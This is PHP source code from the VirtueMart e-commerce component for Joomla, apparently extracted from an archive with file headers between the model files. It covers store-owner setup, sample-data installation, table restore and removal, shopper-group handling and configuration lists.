$allowInsert = TRUE; $userId = 0; } if (empty($userId)) { $userId = $this->determineStoreOwner(); vmdebug('setStoreOwner $userId = '.$userId.' by determineStoreOwner'); } $db = JFactory::getDBO(); $db->setQuery('SELECT * FROM `#__virtuemart_vmusers` WHERE `virtuemart_user_id`= "' . $userId . '" '); $oldUserId = $db->loadResult(); if (!empty($oldUserId) and !empty($userId)) { $db->setQuery( 'UPDATE `#__virtuemart_vmusers` SET `virtuemart_vendor_id` = "0", `user_is_vendor` = "0", `perms` = "" WHERE `virtuemart_vendor_id` ="1" '); if ($db->query() == false ) { JError::raiseWarning(1, 'UPDATE __vmusers failed for virtuemart_user_id '.$userId); return false; } $db->setQuery( 'UPDATE `#__virtuemart_vmusers` SET `virtuemart_vendor_id` = "1", `user_is_vendor` = "1", `perms` = "admin" WHERE `virtuemart_user_id` ="'.$userId.'" '); if ($db->query() === false ) { JError::raiseWarning(1, 'UPDATE __vmusers failed for virtuemart_user_id '.$userId); return false; } else { vmInfo('setStoreOwner VmUser updated new main vendor has user id '.$userId); } } else if($allowInsert){ $db->setQuery('INSERT `#__virtuemart_vmusers` (`virtuemart_user_id`, `user_is_vendor`, `virtuemart_vendor_id`, `perms`) VALUES ("' . $userId . '", "1","1","admin")'); if ($db->query() === false ) { JError::raiseWarning(1, 'setStoreOwner was not possible to execute INSERT __vmusers for virtuemart_user_id '.$userId); return false; } else { vmInfo('setStoreOwner VmUser inserted new main vendor has user id '.$userId); } } return $userId; } /** * Syncs user permission * * @param int virtuemart_user_id * @return bool true on success * @author Christopher Roussel */ function setUserToPermissionGroup ($userId=0) { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $usersTable = $this->getTable('vmusers'); $usersTable->load((int)$userId); $perm = Permissions::getInstance(); $usersTable->perms = $perm->getPermissions($userId); $result = $usersTable->check(); if ($result) { $result = $usersTable->store(); } if (!$result) { $errors = $usersTable->getErrors(); foreach($errors as $error) { vmError(get_class( $this ).'::setUserToPermissionGroup user '.$error); } return false; } $xrefTable = $this->getTable('vmuser_shoppergroups'); $data = $xrefTable->load((int)$userId); if (empty($data)) { $data = array('virtuemart_user_id'=>$userId, 'virtuemart_shoppergroup_id'=>'0'); if (!$xrefTable->save($data)) { $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::setUserToPermissionGroup xref '.$error); } return false; } } return true; } /** * Installs sample data to the current database. * * @author Max Milbers, RickG * @params $userId User Id to add the userinfo and vendor sample data to */ function installSampleData($userId = null) { if ($userId == null) { $userId = $this->determineStoreOwner(); } $fields['username'] = $this->_user->username; $fields['virtuemart_user_id'] = $userId; $fields['address_type'] = 'BT'; // Don't change this company name; it's used in install_sample_data.sql $fields['company'] = "Sample Company"; $fields['title'] = 'Mr'; $fields['last_name'] = 'John'; $fields['first_name'] = 'Doe'; $fields['middle_name'] = ''; $fields['phone_1'] = '555-555-555'; $fields['address_1'] = 'PO Box 123'; $fields['city'] = 'Seattle'; $fields['zip'] = '98101'; $fields['virtuemart_state_id'] = '48'; $fields['virtuemart_country_id'] = '223'; // $fields['virtuemart_shoppergroup_id'] = ''; //Dont change this, atm everything is mapped to mainvendor with id=1 $fields['user_is_vendor'] = '1'; $fields['virtuemart_vendor_id'] = '1'; $fields['vendor_name'] = 'Sample Company'; $fields['vendor_phone'] = '555-555-1212'; $fields['vendor_store_name'] = "VirtueMart 2 Sample store"; $fields['vendor_store_desc'] = '

    We have the best clothing for up-to-date people. Check it out!

    We were established in 1869 in a time when getting good clothes was expensive, but the quality was good. Now that only a select few of those authentic clothes survive, we have dedicated this store to bringing the experience alive for collectors and master carrier everywhere.

    You can easily find products selecting the category you would like to browse above.

    '; $fields['virtuemart_media_id'] = 1; $fields['vendor_currency'] = '47'; $fields['vendor_accepted_currencies'] = '52,26,47,144'; $fields['vendor_terms_of_service'] = '
    You have not configured any terms of service yet. Click here to change this text.
    '; $fields['vendor_url'] = JURI::root(); $fields['vendor_name'] = 'Sample Company'; $fields['perms']='admin'; $fields['vendor_legal_info']="VAT-ID: XYZ-DEMO
    Reg.Nr: DEMONUMBER"; $fields['vendor_letter_css']='.vmdoc-header { }.vmdoc-footer { }'; $fields['vendor_letter_header_html']='

    {vm:vendorname}

    {vm:vendoraddress}

    '; $fields['vendor_letter_header_image']='1'; $fields['vendor_letter_footer_html']='{vm:vendorlegalinfo}
    Page {vm:pagenum}/{vm:pagecount}'; if(!class_exists('VirtueMartModelUser')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'user.php'); $usermodel = VmModel::getModel('user'); $usermodel->setId($userId); //Save the VM user stuff if(!$usermodel->store($fields)){ vmError(JText::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA') ); JError::raiseWarning('', JText::_('COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA')); } // $params = JComponentHelper::getParams('com_languages'); // $lang = $params->get('site', 'en-GB');//use default joomla // $this->installSampleSQL($lang); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_sample_data.sql'; if(!defined('VMLANG')){ $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); } else { $lang = VMLANG; } if(!$this->execSQLFile($filename)){ vmError(JText::_('Problems execution of SQL File '.$filename)); } else { //update jplugin_id from shipment and payment $db = JFactory::getDBO(); $q = 'SELECT `extension_id` FROM #__extensions WHERE element = "weight_countries" AND folder = "vmshipment"'; $db->setQuery($q); $shipment_plg_id = $db->loadResult(); if(!empty($shipment_plg_id)){ $q = 'INSERT INTO `#__virtuemart_shipmentmethods` (`virtuemart_shipmentmethod_id`, `virtuemart_vendor_id`, `shipment_jplugin_id`, `shipment_element`, `shipment_params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, '.$shipment_plg_id.', "weight_countries", \'shipment_logos=""|countries=""|zip_start=""|zip_stop=""|weight_start=""|weight_stop=""|weight_unit="KG"|nbproducts_start=0|nbproducts_stop=0|orderamount_start=""|orderamount_stop=""|cost="0"|package_fee="2.49"|tax_id="0"|free_shipment="500"|\', 0, 0, 1, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0)'; $db->setQuery($q); $db->query(); $q = 'INSERT INTO `#__virtuemart_shipmentmethods_'.$lang.'` (`virtuemart_shipmentmethod_id`, `shipment_name`, `shipment_desc`, `slug`) VALUES (1, "Self pick-up", "", "Self-pick-up")'; $db->setQuery($q); $db->query(); //Create table of the plugin if(JVM_VERSION!=1){ $url = '/plugins/vmshipment/weight_countries'; } else{ $url = '/plugins/vmshipment'; } if (!class_exists ('plgVmShipmentWeight_countries')) require(JPATH_ROOT . DS . $url . DS . 'weight_countries.php'); $this->installPluginTable('plgVmShipmentWeight_countries','#__virtuemart_shipment_plg_weight_countries','Shipment Weight Countries Table'); } $q = 'SELECT `extension_id` FROM #__extensions WHERE element = "standard" AND folder = "vmpayment"'; $db->setQuery($q); $payment_plg_id = $db->loadResult(); if(!empty($payment_plg_id)){ $q='INSERT INTO `#__virtuemart_paymentmethods` (`virtuemart_paymentmethod_id`, `virtuemart_vendor_id`, `payment_jplugin_id`, `payment_element`, `payment_params`, `shared`, `ordering`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, '.$payment_plg_id.', "standard", \'payment_logos=""|countries=""|payment_currency="0"|status_pending="U"|send_invoice_on_order_null="1"|min_amount=""|max_amount=""|cost_per_transaction="0.10"|cost_percent_total="1.5"|tax_id="0"|payment_info=""|\', 0, 0, 1, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0)'; $db->setQuery($q); $db->query(); $q="INSERT INTO `#__virtuemart_paymentmethods_".$lang."` (`virtuemart_paymentmethod_id`, `payment_name`, `payment_desc`, `slug`) VALUES (1, 'Cash on delivery', '', 'Cash-on-delivery')"; $db->setQuery($q); $db->query(); if(JVM_VERSION!=1){ $url = '/plugins/vmpayment/standard'; } else{ $url = '/plugins/vmpayment'; } if (!class_exists ('plgVmPaymentStandard')) require(JPATH_ROOT . DS . $url . DS . 'standard.php'); $this->installPluginTable('plgVmPaymentStandard','#__virtuemart_payment_plg_standard','Payment Standard Table'); } vmInfo(JText::_('COM_VIRTUEMART_SAMPLE_DATA_INSTALLED')); } return true; } function installPluginTable ($className,$tablename,$tableComment) { $query = "CREATE TABLE IF NOT EXISTS `" . $tablename . "` ("; if(!empty($tablesFields)){ foreach ($tablesFields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } } else { $SQLfields = call_user_func($className."::getTableSQLFields"); //$SQLfields = $className::getTableSQLFields (); // $loggablefields = $className::getTableSQLLoggablefields (); $loggablefields = call_user_func($className."::getTableSQLLoggablefields"); foreach ($SQLfields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } foreach ($loggablefields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . ", "; } } $query .= " PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='" . $tableComment . "' AUTO_INCREMENT=1 ;"; $db = JFactory::getDBO(); $db->setQuery($query); if (!$db->query ()) { vmError ( $className.'::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE)); } } function restoreSystemDefaults() { JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRemove', $this); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_required_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRestore', $this); } function restoreSystemTablesCompletly() { $this->removeAllVMTables(); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRestore', $this); } /** * Parse a sql file executing each sql statement found. * * @author Max Milbers */ function execSQLFile($sqlfile ) { // Check that sql files exists before reading. Otherwise raise error for rollback if ( !file_exists($sqlfile) ) { vmError('No SQL file provided!'); return false; } if(!class_exists('VmConfig')){ require_once(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(false,true); } if(!defined('VMLANG')){ $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); } else { $lang = VMLANG; } // Create an array of queries from the sql file jimport('joomla.installer.helper'); $queries = JInstallerHelper::splitSql(file_get_contents($sqlfile)); if (count($queries) == 0) { vmError('SQL file has no queries!'); return false; } $ok = true; $db = JFactory::getDBO(); // Process each query in the $queries array (split out of sql file). foreach ($queries as $query) { $query = trim($query); if ($query != '' && $query{0} != '#') { if(strpos($query, 'CREATE' )!==false or strpos( $query, 'INSERT')!==false){ $query = str_replace('XLANG',$lang,$query); } $db->setQuery($query); if (!$db->query()) { JError::raiseWarning(1, 'JInstaller::install: '.$sqlfile.' '.JText::_('COM_VIRTUEMART_SQL_ERROR')." ".$db->stderr(true)); $ok = false; } } } return $ok; } /** * Delete all Virtuemart tables. * * @return True if successful, false otherwise */ function removeAllVMTables() { $db = JFactory::getDBO(); $config = JFactory::getConfig(); $prefix = $config->getValue('config.dbprefix').'virtuemart_%'; $db->setQuery('SHOW TABLES LIKE "'.$prefix.'"'); if (!$tables = $db->loadResultArray()) { vmInfo ('removeAllVMTables no tables found '.$db->getErrorMsg()); return false; } $app = JFactory::getApplication(); foreach ($tables as $table) { $db->setQuery('DROP TABLE ' . $table); if($db->query()){ $droppedTables[] = substr($table,strlen($prefix)-1); } else { $errorTables[] = $table; $app->enqueueMessage('Error drop virtuemart table ' . $table); } } if(!empty($droppedTables)){ $app->enqueueMessage('Dropped virtuemart table ' . implode(', ',$droppedTables)); } if(!empty($errorTables)){ $app->enqueueMessage('Error dropping virtuemart table ' . implode($errorTables,', ')); return false; } return true; } /** * Remove all the data from all Virutmeart tables. * * @return boolean True if successful, false otherwise. */ function removeAllVMData() { JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRemove', $this); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_data.sql'; $this->execSQLFile($filename); $tables = array('categories','manufacturers','manufacturercategories','paymentmethods','products','shipmentmethods','vendors'); $prefix = $this->_db->getPrefix(); foreach ($tables as $table) { $query = 'SHOW TABLES LIKE "'.$prefix.'virtuemart_'.$table.'_%"'; $this->_db->setQuery($query); if($translatedTables= $this->_db->loadResultArray()) { foreach ($translatedTables as $translatedTable) { $this->_db->setQuery('TRUNCATE TABLE `'.$translatedTable.'`'); if($this->_db->query()) vmInfo( $translatedTable.' empty'); else vmError($translatedTable.' language table Cannot be deleted'); } } else vmInfo('No '.$table.' language table found to delete '.$query); } //"TRUNCATE TABLE IS FASTER and reset the primary Keys; //install required data again $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); return true; } /** * This function deletes all stored thumbs and deletes the entries for all thumbs, usually this is need for shops * older than vm2.0.22. The new pattern is now not storing the url as long it is not overwritten. * Of course the function deletes all overwrites, but you can now relativly easy change the thumbsize in your shop * @author Max Milbers */ function resetThumbs(){ $db = JFactory::getDbo(); $q = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb`=""'; $db->setQuery($q); $db->query(); $err = $db->getErrorMsg(); if(!empty($err)){ vmError('resetThumbs Update entries failed ',$err); } jimport('joomla.filesystem.folder'); $tmpimg_resize_enable = VmConfig::get('img_resize_enable',1); VmConfig::set('img_resize_enable',0); $this->deleteMediaThumbFolder('media_category_path'); $this->deleteMediaThumbFolder('media_product_path'); $this->deleteMediaThumbFolder('media_manufacturer_path'); $this->deleteMediaThumbFolder('media_vendor_path'); $this->deleteMediaThumbFolder('forSale_path_thumb',''); VmConfig::set('img_resize_enable',$tmpimg_resize_enable); return true; } /** * Delets a thumb folder and recreates it, contains small nasty hack for the thumbnail folder of the "file for sale" * @author Max Milbers * @param $type * @param string $resized * @return bool */ private function deleteMediaThumbFolder($type,$resized='resized'){ if(!empty($resized)) $resized = DS.$resized; $typePath = VmConfig::get($type); if(!empty($typePath)){ $path = JPATH_ROOT.DS.str_replace('/',DS,$typePath).$resized; $msg = JFolder::delete($path); if(!$msg){ vmWarn('Problem deleting '.$type); } if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); $msg = JFolder::create($path); return $msg; } else { return 'Config path for '.$type.' empty'; } } } //pure php no tag PKsl>\$$Ucom_virtuemart_update/administrator/components/com_virtuemart/models/shoppergroup.phpnuW+AsetMainTable('shoppergroups'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Markus Öhler */ function getShopperGroup() { if (empty($this->_data)) { $this->_data = $this->getTable('shoppergroups'); $this->_data->load((int) $this->_id); if(!empty($this->_data->price_display)){ $this->_data->price_display = unserialize($this->_data->price_display); } else{ if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $this->_data->price_display = new JParameter(''); } } return $this->_data; } /** * Retireve a list of shopper groups from the database. * * @author Markus Öhler * @param boolean $onlyPublished * @param boolean $noLimit True if no record count limit is used, false otherwise * @return object List of shopper group objects */ function getShopperGroups($onlyPublished=false, $noLimit = false) { $db = JFactory::getDBO(); $query = 'SELECT * FROM `#__virtuemart_shoppergroups` ORDER BY `virtuemart_vendor_id`,`shopper_group_name` '; if ($noLimit) { $this->_data = $this->_getList($query); } else { $this->_data = $this->_getList($query, $this->getState('limitstart'), $this->getState('limit')); } return $this->_data; } function store(&$data){ $myfields = array('basePrice','variantModification','basePriceVariant', 'basePriceWithTax','basePriceWithTax','discountedPriceWithoutTax', 'salesPrice','priceWithoutTax', 'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice'); $param ='show_prices='.$data['show_prices']."\n"; foreach($myfields as $fields){ $param .= $fields.'='.$data[$fields]."\n"; //attention there must be doublequotes $param .= $fields.'Text='.$data[$fields.'Text']."\n"; $param .= $fields.'Rounding='.$data[$fields.'Rounding']."\n"; } if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $jparam = new JParameter($param); $data['price_display'] = serialize(new JParameter($param)); return parent::store($data); } function makeDefault($id,$kind = 1) { //Prevent making anonymous Shoppergroup as default $adId = $this->getDefault(1); $anonymous_sg_id = $adId->virtuemart_shoppergroup_id; if($adId == $id){ $group = $this->getShoppergroupById($id); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT',$group->shopper_group_name,$id)); return false; } $this->_db->setQuery('UPDATE `#__virtuemart_shoppergroups` SET `default` = 0 WHERE `default`<"2"'); if (!$this->_db->query()) return ; $this->_db->setQuery('UPDATE `#__virtuemart_shoppergroups` SET `default` = "'.$kind.'" WHERE virtuemart_shoppergroup_id='.(int)$id); if (!$this->_db->query()) return ; return true; } /** * * Get default shoppergroup for anonymous and non anonymous * @param unknown_type $kind */ function getDefault($kind = 1, $onlyPublished = FALSE, $vendorId = 1){ $kind = $kind + 1; $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE `default` = "'.$kind.'" AND (`virtuemart_vendor_id` = "'.$vendorId.'" OR `shared` = "1") '; if($onlyPublished){ $q .= ' AND `published`="1" '; } $this->_db->setQuery($q); if(!$res = $this->_db->loadObject()){ $app = JFactory::getApplication(); $app->enqueueMessage('Attention no standard shopper group set '.$this->_db->getErrorMsg()); } else { //vmdebug('getDefault', $res); return $res; } } function appendShopperGroups(&$shopperGroups,$user,$onlyPublished = FALSE,$vendorId=1,$keepDefault = false){ $this->mergeSessionSgrps($shopperGroups); if(count($shopperGroups)<1 or $keepDefault){ $_defaultShopperGroup = $this->getDefault($user->guest,$onlyPublished,$vendorId); if(!in_array($_defaultShopperGroup->virtuemart_shoppergroup_id,$shopperGroups)){ $shopperGroups[] = $_defaultShopperGroup->virtuemart_shoppergroup_id; } } $this->removeSessionSgrps($shopperGroups); } function mergeSessionSgrps(&$ids){ $session = JFactory::getSession(); $shoppergroup_ids = $session->get('vm_shoppergroups_add',array(),'vm'); $ids = array_merge($ids,(array)$shoppergroup_ids); $ids = array_unique($ids); //$session->set('vm_shoppergroups_add',array(),'vm'); //vmdebug('mergeSessionSgrps',$shoppergroup_ids,$ids); } function removeSessionSgrps(&$ids){ $session = JFactory::getSession(); $shoppergroup_ids_remove = $session->get('vm_shoppergroups_remove',0,'vm'); if($shoppergroup_ids_remove!==0){ if(!is_array($shoppergroup_ids_remove)){ $shoppergroup_ids_remove = (array) $shoppergroup_ids_remove; } foreach($shoppergroup_ids_remove as $k => $id){ if(in_array($id,$ids)){ $key=array_search($id, $ids); if($key!==FALSE){ unset($ids[$key]); vmdebug('Anonymous case, remove session shoppergroup by plugin '.$id); } } } //$session->set('vm_shoppergroups_remove',0,'vm'); } } function remove($ids){ jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($ids); $table = $this->getTable($this->_maintablename); $defaultSgId = $this->getDefault(0); $anonymSgId = $this->getDefault(1); foreach($ids as $id){ //Test if shoppergroup is default if($id == $defaultSgId->virtuemart_shoppergroup_id){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT',vmText::_($name),$id)); continue; } //Test if shoppergroup is default if($id == $anonymSgId->virtuemart_shoppergroup_id){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT',vmText::_($name),$id)); continue; } //Test if shoppergroup has members $this->_db->setQuery('SELECT * FROM `#__virtuemart_vmuser_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); if($this->_db->loadResult()){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS',vmText::_($name),$id)); continue; } if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$table->getError()); return false; } } return true; } /** * Retrieves the Shopper Group Info of the SG specified by $id * * @param int $id * @param boolean $default_group * @return array */ static function getShoppergroupById($id, $default_group = false) { $virtuemart_vendor_id = 1; $db = JFactory::getDBO(); $q = 'SELECT `#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`, `#__virtuemart_shoppergroups`.`shopper_group_name`, `default` AS default_shopper_group FROM `#__virtuemart_shoppergroups`'; if (!empty($id) && !$default_group) { $q .= ', `#__virtuemart_vmuser_shoppergroups`'; $q .= ' WHERE `#__virtuemart_vmuser_shoppergroups`.`virtuemart_user_id`="'.(int)$id.'" AND '; $q .= '`#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`=`#__virtuemart_vmuser_shoppergroups`.`virtuemart_shoppergroup_id`'; } else { $q .= ' WHERE `#__virtuemart_shoppergroups`.`virtuemart_vendor_id`="'.(int)$virtuemart_vendor_id.'" AND `default`="2"'; } $db->setQuery($q); return $db->loadAssocList(); } } // pure php no closing tagPKsl>\*G D DOcom_virtuemart_update/administrator/components/com_virtuemart/models/config.phpnuW+AgetTemplate();vmdebug('template',$tplpath); if (JVM_VERSION === 2) { $q = 'SELECT `template` FROM `#__template_styles` WHERE `client_id` ="0" AND `home`="1" '; } else { $q = 'SELECT `template` FROM `#__templates_menu` WHERE `client_id` ="0" '; } $db = JFactory::getDBO(); $db->setQuery($q); $tplnames = $db->loadResult(); if($tplnames){ if(is_dir(JPATH_ROOT.DS.'templates'.DS.$tplnames.DS.'html'.DS.'com_virtuemart'.DS.$view)){ $dirs[] = JPATH_ROOT.DS.'templates'.DS.$tplnames.DS.'html'.DS.'com_virtuemart'.DS.$view; } } $result = array(); $emptyOption = JHTML::_('select.option', '0', JText::_('COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE')); $result[] = $emptyOption; $alreadyAddedFile = array(); foreach($dirs as $dir){ if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if(!empty($file) and strpos($file,'.')!==0 and strpos($file,'_')==0 and $file != 'index.html' and !is_Dir($file)){ //Handling directly for extension is much cleaner $path_info = pathinfo($file); if(empty($path_info['extension'])){ vmError('Attention file '.$file.' has no extension in view '.$view.' and directory '.$dir); $path_info['extension'] = ''; } if ($path_info['extension'] == 'php' && !in_array($file,$alreadyAddedFile)) { $alreadyAddedFile[] = $file; //There is nothing to translate here // $result[] = JHTML::_('select.option', $file, $path_info['filename']); $result[] = JHTML::_('select.option', $path_info['filename'], $path_info['filename']); } } } } } return $result; } /** * Retrieve a list of available fonts to be used with PDF Invoice generation & PDF Product view on FE * * @author Nikos Zagas * @return object List of available fonts */ function getTCPDFFontsList() { $dir = JPATH_ROOT.DS.'libraries'.DS.'tcpdf'.DS.'fonts'; $result = array(); if(function_exists('glob')){ $specfiles = glob($dir.DS."*_specs.xml"); } else { $specfiles = array(); $manual = array('courier_specs.xml','freemono_specs.xml','helvetica_specs.xml'); foreach($manual as $file){ if(file_exists($dir.DS.$file)){ $specfiles[] = $dir.DS.$file; } } } foreach ($specfiles as $file) { $fontxml = @simpleXML_load_file($file); if ($fontxml) { if (file_exists($dir . DS . $fontxml->filename . '.php')) { $result[] = JHTML::_('select.option', $fontxml->filename, JText::_($fontxml->fontname.' ('.$fontxml->fonttype.')')); } else { vmError ('A font master file is missing: ' . $dir . DS . $fontxml->filename . '.php'); } } else { vmError ('Wrong structure in font XML file: '. $dir . DS . $file); } } return $result; } /** * Retrieve a list of possible images to be used for the 'no image' image. * * @author RickG * @author Max Milbers * @return object List of image objects */ function getNoImageList() { //TODO set config value here $dirs[] = JPATH_ROOT.DS.'components'.DS.'com_virtuemart'.DS.'assets'.DS.'images'.DS.'vmgeneral'; $tplpath = VmConfig::get('vmtemplate',0); if(!empty($tplpath) and is_numeric($tplpath)){ $db = JFactory::getDbo(); $query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$tplpath.'" '; $db->setQuery($query); $res = $db->loadAssoc(); if($res){ $registry = new JRegistry; $registry->loadString($res['params']); $tplpath = $res['template']; } } if($tplpath){ if(is_dir(JPATH_ROOT.DS.'templates'.DS.$tplpath.DS.'images'.DS.'vmgeneral')){ $dirs[] = JPATH_ROOT.DS.'templates'.DS.$tplpath.DS.'images'.DS.'vmgeneral'; } } $result = ''; foreach($dirs as $dir){ if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && $file != '.svn' && $file != 'index.html') { if (filetype($dir.DS.$file) != 'dir') { $result[] = JHTML::_('select.option', $file, JText::_(str_replace('.php', '', $file))); } } } } } return $result; } /** * Retrieve a list of currency converter modules from the plugins directory. * * @author RickG * @return object List of theme objects */ function getCurrencyConverterList() { $dir = JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'; $result = ''; if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && $file != '.svn') { $info = pathinfo($file); if ((filetype($dir.DS.$file) == 'file') && ($info['extension'] == 'php')) { $result[] = JHTML::_('select.option', $file, JText::_($file)); } } } } return $result; } /** * Retrieve a list of modules. * * @author RickG * @return object List of module objects */ function getModuleList() { $db = JFactory::getDBO(); $query = 'SELECT `module_id`, `module_name` FROM `#__virtuemart_modules` '; $query .= 'ORDER BY `module_id`'; $db->setQuery($query); return $db->loadObjectList(); } /** * Retrieve a list of Joomla content items. * * @author RickG * @return object List of content objects */ function getContentLinks() { $db = JFactory::getDBO(); $query = 'SELECT `id`, CONCAT(`title`, " (", `title_alias`, ")") AS text FROM `#__content` '; $query .= 'ORDER BY `id`'; $db->setQuery($query); return $db->loadObjectList(); } /* * Get the joomla list of languages */ function getActiveLanguages($active_languages) { $activeLangs = array() ; $language =JFactory::getLanguage(); $jLangs = $language->getKnownLanguages(JPATH_BASE); foreach ($jLangs as $jLang) { $jlangTag = strtolower(strtr($jLang['tag'],'-','_')); $activeLangs[] = JHTML::_('select.option', $jLang['tag'] , $jLang['name']) ; } return JHTML::_('select.genericlist', $activeLangs, 'active_languages[]', 'size=10 multiple="multiple" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL').'"', 'value', 'text', $active_languages );// $activeLangs; } /** * Retrieve a list of preselected and existing search or order By Fields * $type = 'browse_search_fields' or 'browse_orderby_fields' * @author Kohl Patrick * @return array of order list */ function getProductFilterFields( $type ) { $searchChecked = VmConfig::get($type) ; if (!is_array($searchChecked)) { $searchChecked = (array)$searchChecked; } if($type!='browse_cat_orderby_field'){ $searchFieldsArray = ShopFunctions::getValidProductFilterArray (); if($type=='browse_search_fields'){ if($key = array_search('pc.ordering',$searchFieldsArray)){ unset($searchFieldsArray[$key]); } } } else { $searchFieldsArray = array('category_name','category_description','cx.ordering','c.published'); } $searchFields= new stdClass(); $searchFields->checkbox ='
